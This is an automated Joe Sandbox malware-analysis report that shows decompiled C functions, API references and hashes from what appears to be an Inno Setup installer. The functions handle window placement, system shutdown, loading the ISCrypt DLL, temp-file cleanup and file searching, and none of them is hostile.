0x00422a31
0x00422a39
0x004229b9
0x004229be
0x004229c9
0x004229d8
0x004229e8
0x004229e8
0x00422a47
0x00422a56
0x00422a56
0x004229a7
0x004228a4
0x00422b8c
0x00422b8f
0x00422b92
0x00422b97
0x00422b9a
0x00422ba1

APIs

SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 004229D8
ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422BA2), ref: 004229E8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MessageSendShowWindow
String ID:
API String ID: 1631623395-0
Opcode ID: 4af2593b0125e56bdb93239cbed83d38a1a257a71cfec5271a6b9961aa4b34df
Instruction ID: f39cc3631680ecdf1ac9d07a6c8dace06ed48de268b54e5ae2a32077da343f05
Opcode Fuzzy Hash: 4af2593b0125e56bdb93239cbed83d38a1a257a71cfec5271a6b9961aa4b34df
Instruction Fuzzy Hash: 3F917171B04214FFDB10EFA9DA86F9D77F4AB05314F5100BAF504AB2A2C778AE419B58

Uniqueness

Uniqueness Score: -1.00%

Function 00418368 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418368(void* __eax) {
				struct _WINDOWPLACEMENT _v56;
				struct tagPOINT _v64;
				intOrPtr _v68;
				intOrPtr _t33;
				void* _t43;
				struct HWND__* _t49;
				struct tagPOINT* _t51;

				_t51 =  &(_v64.y);
				_t43 = __eax;
				if(IsIconic( *(__eax + 0xc0)) == 0) {
					GetWindowRect( *(_t43 + 0xc0), _t51);
				} else {
					_v56.length = 0x2c;
					GetWindowPlacement( *(_t43 + 0xc0),  &_v56);
					memcpy(_t51,  &(_v56.rcNormalPosition), 4 << 2);
					_t51 = _t51 + 0xc;
				}
				if((GetWindowLongA( *(_t43 + 0xc0), 0xfffffff0) & 0x40000000) != 0) {
					_t49 = GetWindowLongA( *(_t43 + 0xc0), 0xfffffff8);
					ScreenToClient(_t49, _t51);
					ScreenToClient(_t49,  &_v64);
				}
				 *(_t43 + 0x24) = _t51->x;
				 *((intOrPtr*)(_t43 + 0x28)) = _v68;
				 *((intOrPtr*)(_t43 + 0x2c)) = _v64.x - _t51->x;
				_t33 = _v64.y.x - _v68;
				 *((intOrPtr*)(_t43 + 0x30)) = _t33;
				return _t33;
			}

0x0041836b
0x0041836e
0x0041837e
0x004183b0
0x00418380
0x00418380
0x00418394
0x004183a4
0x004183a4
0x004183a4
0x004183c8
0x004183d8
0x004183dc
0x004183e7
0x004183e7
0x004183ef
0x004183f6
0x00418400
0x00418407
0x0041840b
0x00418414

APIs

IsIconic.USER32(?), ref: 00418377
GetWindowPlacement.USER32(?,0000002C), ref: 00418394
GetWindowRect.USER32 ref: 004183B0
GetWindowLongA.USER32 ref: 004183BE
GetWindowLongA.USER32 ref: 004183D3
ScreenToClient.USER32 ref: 004183DC
ScreenToClient.USER32 ref: 004183E7

Strings

,, xrefs: 00418380

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 13baaa4874947ce1ccf78396e4ff402cebf3e2c04b3193ada7c82926a18736d7
Instruction ID: c7ab006c70e0836cdd4d97d20ba0e9016ead7d8e1fb7c641c199fdb04dc1b3f3
Opcode Fuzzy Hash: 13baaa4874947ce1ccf78396e4ff402cebf3e2c04b3193ada7c82926a18736d7
Instruction Fuzzy Hash: 201128B1505201AFDB00DF6DC885F9B77E8AF49314F18066EBD58DB286D738D900CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004536F0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004536F0() {
				int _v4;
				struct _TOKEN_PRIVILEGES _v16;
				void* _v20;
				int _t6;

				if( *0x48e0dc == 2) {
					if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) == 0) {
						return E004536D0();
					}
					LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v16.Privileges));
					_v16.PrivilegeCount = 1;
					_v4 = 2;
					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
					if(GetLastError() != 0) {
						return E004536D0();
					}
				}
				_t6 = ExitWindowsEx(2, 0);
				if(_t6 == 0) {
					return E004536D0();
				}
				return _t6;
			}

0x004536fa
0x0045370c
0x00000000
0x0045370e
0x00453721
0x00453726
0x0045372e
0x00453748
0x00453754
0x00000000
0x00453756
0x00453754
0x00453761
0x00453768
0x00000000
0x0045376a
0x00453772

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 004536FF
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00453705
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00453721
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00453748
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 0045374D

Part of subcall function 004536D0: MessageBoxA.USER32 ref: 004536EA

ExitWindowsEx.USER32(00000002,00000000), ref: 00453761

Strings

SeShutdownPrivilege, xrefs: 0045371A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupMessageOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 93195177-3733053543
Opcode ID: 0c6c4ea3809fb517d8218841ed637b68d41fe90a73c8e6f3a7dbb7169d248c12
Instruction ID: 39c0802515a0aa54a97e16b41bb31fbb8fdb4c00033f9e3ec220a47d417fe51d
Opcode Fuzzy Hash: 0c6c4ea3809fb517d8218841ed637b68d41fe90a73c8e6f3a7dbb7169d248c12
Instruction Fuzzy Hash: 4DF036E0A44701B6E920BE664D07B1B21885B447DBF50482FBD10A91C3DA7C960C877F

Uniqueness

Uniqueness Score: -1.00%

Function 0045A060 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0045A060(struct HINSTANCE__* __eax) {
				struct HINSTANCE__* _t11;
				intOrPtr _t17;

				_t11 = __eax;
				 *0x48ff10 = GetProcAddress(__eax, "ISCryptGetVersion");
				 *0x48ff14 = GetProcAddress(_t11, "ArcFourInit");
				 *0x48ff18 = GetProcAddress(_t11, "ArcFourCrypt");
				if( *0x48ff10 == 0 ||  *0x48ff14 == 0) {
					L4:
					 *0x48ff10 = 0;
					 *0x48ff14 = 0;
					 *0x48ff18 = 0;
					return 0;
				} else {
					_t17 =  *0x48ff18;
					if(_t17 == 0) {
						goto L4;
					} else {
						return  *0x48ff10() - 0x00000001 & 0xffffff00 | _t17 == 0x00000000;
					}
				}
			}

0x0045a061
0x0045a06e
0x0045a07e
0x0045a08e
0x0045a09a
0x0045a0ba
0x0045a0be
0x0045a0c6
0x0045a0ce
0x0045a0d5
0x0045a0a5
0x0045a0a5
0x0045a0ac
0x00000000
0x0045a0ae
0x0045a0b9
0x0045a0b9
0x0045a0ac

APIs

GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045A069
GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045A079
GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045A089
ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,004765E3,00000000,0047660C), ref: 0045A0AE

Strings

ISCryptGetVersion, xrefs: 0045A063
ArcFourCrypt, xrefs: 0045A083
ArcFourInit, xrefs: 0045A073

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$CryptVersion
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 1951258720-508647305
Opcode ID: 70d587f92c1d05cb222443710637b1d912d99a584956a9cdf3b4ee4e334252bf
Instruction ID: e1d5df669823c0ab5131070bf850e98dec9033d5bf59ed0dcea5cc9d4e4819b5
Opcode Fuzzy Hash: 70d587f92c1d05cb222443710637b1d912d99a584956a9cdf3b4ee4e334252bf
Instruction Fuzzy Hash: DDF06DB0558600CBDB16DF32BD4462E3696B786702B148E3FA704851F6D7B806DCCB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0048D260 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90
fileCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E0048D260(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				struct _WIN32_FIND_DATAA _v332;
				char _v336;
				void* _t61;
				intOrPtr _t73;
				intOrPtr _t75;
				signed int _t80;
				void* _t83;
				void* _t84;
				intOrPtr _t85;

				_t83 = _t84;
				_t85 = _t84 + 0xfffffeb4;
				_v336 = 0;
				_v12 = 0;
				_t61 = __eax;
				_push(_t83);
				_push(0x48d39e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t85;
				E004034AC( &_v336, __eax);
				E00403594( &_v336, "isRS-???.tmp");
				_v8 = FindFirstFileA(E00403750(_v336),  &_v332);
				if(_v8 == 0xffffffff) {
					_pop(_t73);
					 *[fs:eax] = _t73;
					_push(E0048D3A5);
					E00403418( &_v336);
					return E00403418( &_v12);
				} else {
					_push(_t83);
					_push(0x48d376);
					_push( *[fs:eax]);
					 *[fs:eax] = _t85;
					do {
						if(E004073F0( &(_v332.cFileName), 5, "isRS-") == 0 && (_v332.dwFileAttributes & 0x00000010) == 0) {
							E00403574( &_v336, 0x104,  &(_v332.cFileName));
							E004035D8( &_v12, _v336, _t61);
							_t80 = _v332.dwFileAttributes;
							if((_t80 & 0x00000001) != 0) {
								SetFileAttributesA(E00403750(_v12), _t80 & 0xfffffffe);
							}
							E00406EE8(_v12);
						}
					} while (FindNextFileA(_v8,  &_v332) != 0);
					_pop(_t75);
					 *[fs:eax] = _t75;
					_push(E0048D37D);
					return FindClose(_v8);
				}
			}

0x0048d261
0x0048d263
0x0048d26e
0x0048d274
0x0048d277
0x0048d27b
0x0048d27c
0x0048d281
0x0048d284
0x0048d296
0x0048d2a6
0x0048d2bc
0x0048d2c3
0x0048d37f
0x0048d382
0x0048d385
0x0048d390
0x0048d39d
0x0048d2c9
0x0048d2cb
0x0048d2cc
0x0048d2d1
0x0048d2d4
0x0048d2d7
0x0048d2ee
0x0048d30a
0x0048d31a
0x0048d31f
0x0048d32b
0x0048d33a
0x0048d33a
0x0048d342
0x0048d342
0x0048d357
0x0048d361
0x0048d364
0x0048d367
0x0048d375
0x0048d375

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0048D39E,?,?,00000000,0048F628,?,0048D528,00000000,0048D57C,?,?,00000000,0048F628), ref: 0048D2B7
SetFileAttributesA.KERNEL32(00000000,00000010), ref: 0048D33A
FindNextFileA.KERNEL32(000000FF,?,00000000,0048D376,?,00000000,?,00000000,0048D39E,?,?,00000000,0048F628,?,0048D528,00000000), ref: 0048D352
FindClose.KERNEL32(000000FF,0048D37D,0048D376,?,00000000,?,00000000,0048D39E,?,?,00000000,0048F628,?,0048D528,00000000,0048D57C), ref: 0048D370

Strings

isRS-, xrefs: 0048D2D7
isRS-???.tmp, xrefs: 0048D2A1

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: 342016d401da8ec4ae913559bbffe72b9a0d847f012b1c216a03f5240b64da5b
Instruction ID: 987f9ee40d090763bc429e45d3a79f7a4e713dcfad33bc3c22363f63fe7cd748
Opcode Fuzzy Hash: 342016d401da8ec4ae913559bbffe72b9a0d847f012b1c216a03f5240b64da5b
Instruction Fuzzy Hash: 98316371D0161CABDB14EF65CC41ADEB7BCDB45314F5088BAA908B32E1DB389E418F59

Uniqueness

Uniqueness Score: -1.00%

Function 00474BD0 Relevance: 9.2, APIs: 6, Instructions: 195
fileCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00474BD0(intOrPtr __eax, void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4, char _a8, intOrPtr _a12) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v17;
				signed int _v24;
				char _v28;
				void* _v32;
				struct _WIN32_FIND_DATAA _v352;
				char _v356;
				char _v360;
				intOrPtr _t91;
				signed int _t109;
				int _t112;
				signed int _t128;
				signed char _t130;
				int _t133;
				intOrPtr _t140;
				void* _t143;
				intOrPtr _t167;
				intOrPtr _t178;
				intOrPtr _t181;
				void* _t190;
				void* _t191;
				intOrPtr _t192;

				_t188 = __esi;
				_t187 = __edi;
				_t155 = __ecx;
				_t190 = _t191;
				_t192 = _t191 + 0xfffffe9c;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v356 = 0;
				_v360 = 0;
				_v24 = 0;
				_v28 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t190);
				_push(0x474e96);
				_push( *[fs:eax]);
				 *[fs:eax] = _t192;
				_push(_v8);
				_push(_v12);
				_push(_v16);
				E0040364C();
				_v17 = 0;
				_v32 = FindFirstFileA(E00403750(_v24),  &_v352);
				if(_v32 == 0xffffffff) {
					_t91 = _a4;
					__eflags =  *(_t91 + 0x4c) & 0x00000020;
					if(( *(_t91 + 0x4c) & 0x00000020) == 0) {
						goto L21;
					} else {
						E004034AC( &_v356, _v8);
						E00403594( &_v356, _v12);
						E00403594( &_v356, 0x474eb4);
						_v32 = FindFirstFileA(E00403750(_v356),  &_v352);
						__eflags = _v32 - 0xffffffff;
						if(_v32 == 0xffffffff) {
							goto L21;
						} else {
							__eflags = 0;
							_push(_t190);
							_push(0x474e64);
							_push( *[fs:eax]);
							 *[fs:eax] = _t192;
							do {
								_t109 = E004749E4( &_v352);
								__eflags = _t109;
								if(_t109 == 0) {
									goto L19;
								} else {
									E004034AC( &_v356, _v12);
									E00403574( &_v360, 0x104,  &(_v352.cFileName));
									E00403594( &_v356, _v360);
									E00403594( &_v356, 0x474ec0);
									_t128 = E00474BD0(_v8, 0, _v16, _v356, _t187, _t188, _a4, _a8, _a12);
									__eflags = _t128;
									if(_t128 == 0) {
										goto L19;
									} else {
										_v17 = 1;
										E004031D4();
										goto L21;
									}
								}
								goto L22;
								L19:
								_t112 = FindNextFileA(_v32,  &_v352);
								__eflags = _t112;
							} while (_t112 != 0);
							__eflags = 0;
							_pop(_t178);
							 *[fs:eax] = _t178;
							_push(0x474e6b);
							return FindClose(_v32);
						}
					}
				} else {
					_push(_t190);
					_push(0x474d41);
					_push( *[fs:edx]);
					 *[fs:edx] = _t192;
					do {
						_t130 = _v352.dwFileAttributes;
						if((_t130 & 0x00000010) != 0 || _a8 != 0 && (_t130 & 0x00000002) != 0) {
							goto L11;
						} else {
							E004737F0( *((intOrPtr*)(_a4 + 4)), _t155,  &_v28);
							_t140 = _a4;
							_t198 =  *(_t140 + 0x4b) & 0x00000010;
							if(( *(_t140 + 0x4b) & 0x00000010) != 0) {
								__eflags = _v12;
								if(__eflags != 0) {
									E0042C888(_v28, _t155,  &_v356);
									_push(_v356);
									_push(_v12);
									E0042C860(_v28, _t155,  &_v360);
									_push(_v360);
									E0040364C();
								}
							} else {
								_push(_v28);
								_push(_v12);
								_t155 = 0x104;
								E00403574( &_v356, 0x104,  &(_v352.cFileName));
								_push(_v356);
								E0040364C();
							}
							_t143 = E00474A84(_v28, 0, _t155, _t187, _t188, _t198, _a12);
							_pop(_t155);
							if(_t143 == 0) {
								goto L11;
							} else {
								_v17 = 1;
								E004031D4();
								L21:
								_pop(_t167);
								 *[fs:eax] = _t167;
								_push(0x474e9d);
								E00403438( &_v360, 2);
								return E00403438( &_v28, 2);
							}
						}
						goto L22;
						L11:
						_t133 = FindNextFileA(_v32,  &_v352);
						__eflags = _t133;
					} while (_t133 != 0);
					__eflags = 0;
					_pop(_t181);
					 *[fs:eax] = _t181;
					_push(0x474d48);
					return FindClose(_v32);
				}
				L22:
			}

0x00474bd0
0x00474bd0
0x00474bd0
0x00474bd1
0x00474bd3
0x00474bd9
0x00474bda
0x00474bdb
0x00474bde
0x00474be4
0x00474bea
0x00474bed
0x00474bf0
0x00474bf3
0x00474bf6
0x00474bfb
0x00474bfc
0x00474c01
0x00474c04
0x00474c07
0x00474c0a
0x00474c0d
0x00474c18
0x00474c1d
0x00474c36
0x00474c3d
0x00474d48
0x00474d4b
0x00474d4f
0x00000000
0x00474d55
0x00474d65
0x00474d73
0x00474d83
0x00474d99
0x00474d9c
0x00474da0
0x00000000
0x00474da6
0x00474da6
0x00474da8
0x00474da9
0x00474dae
0x00474db1
0x00474db4
0x00474dba
0x00474dbf
0x00474dc1
0x00000000
0x00474dc3
0x00474dd8
0x00474dee
0x00474dff
0x00474e0f
0x00474e20
0x00474e26
0x00474e28
0x00000000
0x00474e2a
0x00474e2a
0x00474e2e
0x00000000
0x00474e2e
0x00474e28
0x00000000
0x00474e35
0x00474e40
0x00474e45
0x00474e45
0x00474e4d
0x00474e4f
0x00474e52
0x00474e55
0x00474e63
0x00474e63
0x00474da0
0x00474c43
0x00474c45
0x00474c46
0x00474c4b
0x00474c4e
0x00474c51
0x00474c51
0x00474c59
0x00000000
0x00474c6d
0x00474c76
0x00474c7b
0x00474c7e
0x00474c82
0x00474cb5
0x00474cb9
0x00474cc4
0x00474cc9
0x00474ccf
0x00474cdb
0x00474ce0
0x00474cee
0x00474cee
0x00474c84
0x00474c84
0x00474c87
0x00474c96
0x00474c9b
0x00474ca0
0x00474cae
0x00474cae
0x00474cfa
0x00474cff
0x00474d02
0x00000000
0x00474d04
0x00474d04
0x00474d08
0x00474e6b
0x00474e6d
0x00474e70
0x00474e73
0x00474e83
0x00474e95
0x00474e95
0x00474d02
0x00000000
0x00474d12
0x00474d1d
0x00474d22
0x00474d22
0x00474d2a
0x00474d2c
0x00474d2f
0x00474d32
0x00474d40
0x00474d40
0x00000000

APIs

FindFirstFileA.KERNEL32(00000000,?,?,00000000,?,00000000,00474E96,?,00000000,?,00000000,?,00474FDA,00000000,00000000), ref: 00474C31
FindNextFileA.KERNEL32(000000FF,?,00000000,00474D41,?,00000000,?,?,00000000,?,00000000,00474E96,?,00000000,?,00000000), ref: 00474D1D
FindClose.KERNEL32(000000FF,00474D48,00474D41,?,00000000,?,?,00000000,?,00000000,00474E96,?,00000000,?,00000000), ref: 00474D3B
FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,00000000,?,00000000,00474E96,?,00000000,?,00000000,?,00474FDA,00000000), ref: 00474D94

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Find$File$First$CloseNext
String ID:
API String ID: 2001080981-0
Opcode ID: 1e87fdf2e6f5bc2f16452f2056834428c24430692e21c4a76f067bf8ac026523
Instruction ID: 5a1021eec60b4e305c38063ace53cfece464fd3c4d2eb6496546c17d1e73516e
Opcode Fuzzy Hash: 1e87fdf2e6f5bc2f16452f2056834428c24430692e21c4a76f067bf8ac026523
Instruction Fuzzy Hash: 3971517090061DAFCF21DF95CC41AEFBBB8FB89318F5080AAA408A7291D7399A45CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00454CF8 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 235
windownativeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00454CF8(void* __ebx, intOrPtr* __edx, void* __edi, void* __esi, void* __fp0) {
				intOrPtr* _v8;
				char _v12;
				char _v16;
				char _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v164;
				char _v168;
				void* _t57;
				intOrPtr _t75;
				intOrPtr _t80;
				void* _t107;
				void* _t110;
				intOrPtr _t111;
				intOrPtr _t122;
				intOrPtr _t125;
				intOrPtr _t153;
				intOrPtr _t159;
				intOrPtr _t160;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t167;
				intOrPtr _t168;
				intOrPtr _t169;
				intOrPtr _t172;
				intOrPtr _t176;
				intOrPtr _t181;
				void* _t186;
				void* _t187;
				intOrPtr _t188;
				void* _t194;

				_t194 = __fp0;
				_t184 = __esi;
				_t183 = __edi;
				_t186 = _t187;
				_t188 = _t187 + 0xffffff5c;
				_push(__esi);
				_push(__edi);
				_v168 = 0;
				_v12 = 0;
				_v16 = 0;
				_v8 = __edx;
				_push(_t186);
				_push(0x4550b4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t188;
				_push(_t186);
				_push(0x455078);
				_push( *[fs:edx]);
				 *[fs:edx] = _t188;
				_t125 =  *_v8;
				_t57 = _t125 - 0x4a;
				if(_t57 == 0) {
					_t59 =  *((intOrPtr*)(_v8 + 8));
					_t153 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)))) - 0x800;
					__eflags = _t153;
					if(__eflags == 0) {
						_push(_t186);
						_push(0x454ea3);
						_push( *[fs:edx]);
						 *[fs:edx] = _t188;
						E004034F8( &_v12,  *((intOrPtr*)(_t59 + 4)),  *((intOrPtr*)(_t59 + 8)), __eflags);
						_push(_t186);
						_push(0x454e61);
						_push( *[fs:eax]);
						 *[fs:eax] = _t188;
						 *0x490270 = 1;
						_push(_t186);
						_push(0x454e46);
						_push( *[fs:eax]);
						 *[fs:eax] = _t188;
						E004737F0(_v12,  *((intOrPtr*)(_t59 + 4)),  &_v16);
						__eflags = 0;
						_pop(_t159);
						 *[fs:eax] = _t159;
						_push(E00454E4D);
						 *0x490270 = 0;
						return 0;
					} else {
						_t160 = _t153 - 1;
						__eflags = _t160;
						if(_t160 == 0) {
							_push(_t186);
							_push(0x454f97);
							_push( *[fs:edx]);
							 *[fs:edx] = _t188;
							E00402738( *((intOrPtr*)(_t59 + 8)), 0x94,  &_v164);
							_push(_t186);
							_push(0x454f55);
							_push( *[fs:eax]);
							 *[fs:eax] = _t188;
							__eflags =  *0x49027c;
							if( *0x49027c == 0) {
								E00408BA4("Cannot evaluate variable because [Code] isn\'t running yet", 1);
								E00403134();
							}
							E00403574( &_v168, 0x80,  &_v144);
							_t75 =  *0x49027c; // 0x2329f3c
							E0048A37C(_t75, _t125, _v152, _v156, _t183, _t184, _t194,  &_v16, _v168, _v148);
							 *((intOrPtr*)(_v8 + 0xc)) = 1;
							_pop(_t165);
							 *[fs:eax] = _t165;
							_t166 =  *0x48fef8; // 0x0
							_t80 =  *0x48fef4; // 0x0
							E00430EE0(_t80, _t125, 0x700, _t166, _t183, _t184, _v16);
							_pop(_t167);
							 *[fs:eax] = _t167;
						} else {
							_t172 = _t160 - 1;
							__eflags = _t172;
							if(_t172 == 0) {
								_push(_t186);
								_push(0x454fee);
								_push( *[fs:edx]);
								 *[fs:edx] = _t188;
								E00403418(0x48feec);
								E004034F8(0x48feec,  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 4)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 8)), __eflags);
								 *((intOrPtr*)(_v8 + 0xc)) = 1;
								_pop(_t176);
								 *[fs:eax] = _t176;
							} else {
								__eflags = _t172 == 1;
								if(_t172 == 1) {
									_push(_t186);
									_push(0x45503f);
									_push( *[fs:edx]);
									 *[fs:edx] = _t188;
									E00403418(0x48fef0);
									E004034F8(0x48fef0,  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 4)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 8)) + 8)), __eflags);
									 *((intOrPtr*)(_v8 + 0xc)) = 1;
									_pop(_t181);
									 *[fs:eax] = _t181;
								}
							}
						}
						goto L21;
					}
				} else {
					_t107 = _t57 - 0xbb6;
					if(_t107 == 0) {
						 *0x48fee8 = 0;
						 *0x48fef4 = 0;
						 *0x48fefc = 1;
						 *0x48fefd = 0;
						PostMessageA(0, 0, 0, 0);
					} else {
						_t110 = _t107 - 1;
						if(_t110 == 0) {
							 *0x48fefc = 1;
							_t111 = _v8;
							__eflags =  *((intOrPtr*)(_t111 + 4)) - 1;
							 *0x48fefd =  *((intOrPtr*)(_t111 + 4)) == 1;
							PostMessageA(0, 0, 0, 0);
						} else {
							if(_t110 == 2) {
								SetForegroundWindow( *(_v8 + 4));
							} else {
								_push( *((intOrPtr*)(_v8 + 8)));
								_push( *(_v8 + 4));
								_push(_t125);
								_t122 =  *0x48fef8; // 0x0
								_push(_t122);
								L00405E2C();
								 *((intOrPtr*)(_v8 + 0xc)) = _t122;
							}
						}
					}
					L21:
					_pop(_t168);
					 *[fs:eax] = _t168;
					_pop(_t169);
					 *[fs:eax] = _t169;
					_push(E004550BB);
					E00403418( &_v168);
					return E00403438( &_v16, 2);
				}
			}

0x00454cf8
0x00454cf8
0x00454cf8
0x00454cf9
0x00454cfb
0x00454d02
0x00454d03
0x00454d06
0x00454d0c
0x00454d0f
0x00454d12
0x00454d17
0x00454d18
0x00454d1d
0x00454d20
0x00454d25
0x00454d26
0x00454d2b
0x00454d2e
0x00454d34
0x00454d38
0x00454d3b
0x00454dba
0x00454dbf
0x00454dbf
0x00454dc5
0x00454de3
0x00454de4
0x00454de9
0x00454dec
0x00454dfe
0x00454e05
0x00454e06
0x00454e0b
0x00454e0e
0x00454e11
0x00454e1a
0x00454e1b
0x00454e20
0x00454e23
0x00454e2c
0x00454e31
0x00454e33
0x00454e36
0x00454e39
0x00454e3e
0x00454e45
0x00454dc7
0x00454dc7
0x00454dc7
0x00454dc8
0x00454eb4
0x00454eb5
0x00454eba
0x00454ebd
0x00454ed1
0x00454ed8
0x00454ed9
0x00454ede
0x00454ee1
0x00454ee4
0x00454eeb
0x00454ef9
0x00454efe
0x00454efe
0x00454f1b
0x00454f37
0x00454f3c
0x00454f44
0x00454f4d
0x00454f50
0x00454f7a
0x00454f80
0x00454f85
0x00454f8c
0x00454f8f
0x00454dce
0x00454dce
0x00454dce
0x00454dcf
0x00454fa8
0x00454fa9
0x00454fae
0x00454fb1
0x00454fb9
0x00454fd2
0x00454fda
0x00454fe3
0x00454fe6
0x00454dd5
0x00454dd5
0x00454dd6
0x00454ffc
0x00454ffd
0x00455002
0x00455005
0x0045500d
0x00455026
0x0045502e
0x00455037
0x0045503a
0x0045503a
0x00454dd6
0x00454dcf
0x00000000
0x00454dc8
0x00454d3d
0x00454d3d
0x00454d42
0x00454d51
0x00454d5a
0x00454d5f
0x00454d66
0x00454d75
0x00454d44
0x00454d44
0x00454d45
0x00454d7f
0x00454d86
0x00454d89
0x00454d8d
0x00454d9c
0x00454d47
0x00454d4a
0x00454dad
0x00454d4c
0x00455051
0x00455058
0x0045505c
0x0045505d
0x00455062
0x00455063
0x0045506b
0x0045506b
0x00454d4a
0x00454d45
0x0045506e
0x00455070
0x00455073
0x00455090
0x00455093
0x00455096
0x004550a1
0x004550b3
0x004550b3

APIs

PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00454D75
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00454D9C
